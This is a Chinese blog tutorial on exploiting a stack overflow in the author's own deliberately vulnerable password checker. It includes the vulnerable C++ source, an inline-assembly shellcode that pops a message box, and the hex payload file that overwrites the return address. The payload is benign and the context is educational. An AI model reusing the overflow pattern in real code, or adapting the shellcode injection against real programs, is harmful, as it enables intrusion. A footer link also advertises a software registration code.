首页 技术 正文
技术 2022年11月15日
0 收藏 902 点赞 4,394 浏览 2735 个字

软件漏洞–Hello-Shellcode

使用上一次的栈溢出的漏洞软件

可以直接通过栈溢出来修改返回值,或者要跳转的函数地址

实现一个ShellCode来跳转自己的代码

源bug软件代码

#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}

这个有一个缺口就是输入这里,我们可以直接把我们想要实现的代码逻辑通过改为硬编码来直接输入进去

将自己要实现的代码逻辑编写成一个裸函数,然后将裸函数编写得到硬编码后输入到这个txt中,然后把那个ret哪里的返回要跳转的地址指向硬编码的地址,这样就实现了一个很简单的注入软件栈溢出漏洞

#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax,0x00401186;
jmp eax;
}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
//char*add = (char*)GetProcAddress(hModule, "MessageBoxA");
//a = (DWORD)add;
cout << "hello" << endl;
shellcode();
return 0;
}

总结

利用shellcode来实现通过软件漏洞入侵,这里我实现的是通过栈溢出来实现入侵,将要修改的代码逻辑用硬编码填充处理

但是这个我写的shellcode非常简单且辣鸡,原因是我的自己的硬编码首位置是固定位置,应该是随着软件生成而生成的位置才对

通过栈溢出的输入来输入我们的硬编码实现代码逻辑处理,而我们的硬编码可以通过ShellCode生成一个裸函数然后把裸函数的硬编码输入进去,裸函数是利用汇编语言写的各种函数可以查看另外一个博客看裸函数

https://www.cnblogs.com/Sna1lGo/p/14393960.html

//这个是有漏洞的软件
#define _CRT_SECURE_NO_WARNINGS
#include<Windows.h>
#include<iostream>
using namespace std;

int checkPassword(const char* password,int size)
{
int result = 1;
char buff[7]{};
result = strcmp(password, "51hook");
memcpy(buff, password, size);
return result;
}

int main()
{
int flag = 0;
char password[0x500];
while (1)
{
printf("请输入密码\n");
//int result = scanf("%s", password);
FILE* fp;
if ((fp = fopen("E:\\Project_Sum\\ShellCode\\ShellCode_test1\\password.txt", "rb")) == NULL)
{
return 0;
}
int result = fscanf(fp, "%s", password);
flag = checkPassword(password,sizeof(password));
if (flag)
{
MessageBoxA(0, "密码错误!", "提示", MB_OK);
}
else
{
MessageBoxA(0, "密码正确!", "提示", MB_OK);
break;
}
}
return 0;
}
//这个是文本
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31
14 FA 19 00 55 8B EC 83 EC 30 68 6C 47 6F 00 68
53 6E 61 31 8B C4 6A 00 6A 00 50 6A 00 B8 30 19
C3 76 FF D0 83 C4 30 5D B8 CA 13 40 00 FF E0
//这个是写的shellcode
#include<Windows.h>
#include<iostream>
using namespace std;
DWORD a;
void _declspec(naked) shellcode()
{
__asm
{
push ebp
mov ebp, esp
sub esp, 0x30
// S n a 1 l   G o
// 53 6E 61 31 6C 47 6F
push 0x006F476C;
push 0x31616E53;
mov eax,esp
push 0;
push 0;
push eax;
push 0;
mov eax, 0x76C31930;
call eax;
add esp, 0x30;
pop ebp;
mov eax, 0x004013CA;
jmp eax;

}
}

int main1()
{
HMODULE hModule = LoadLibraryA("user32.dll");
cout << "hello" << endl;
shellcode();
return 0;
}
相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,490
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,905
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,738
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,491
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:8,129
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:5,292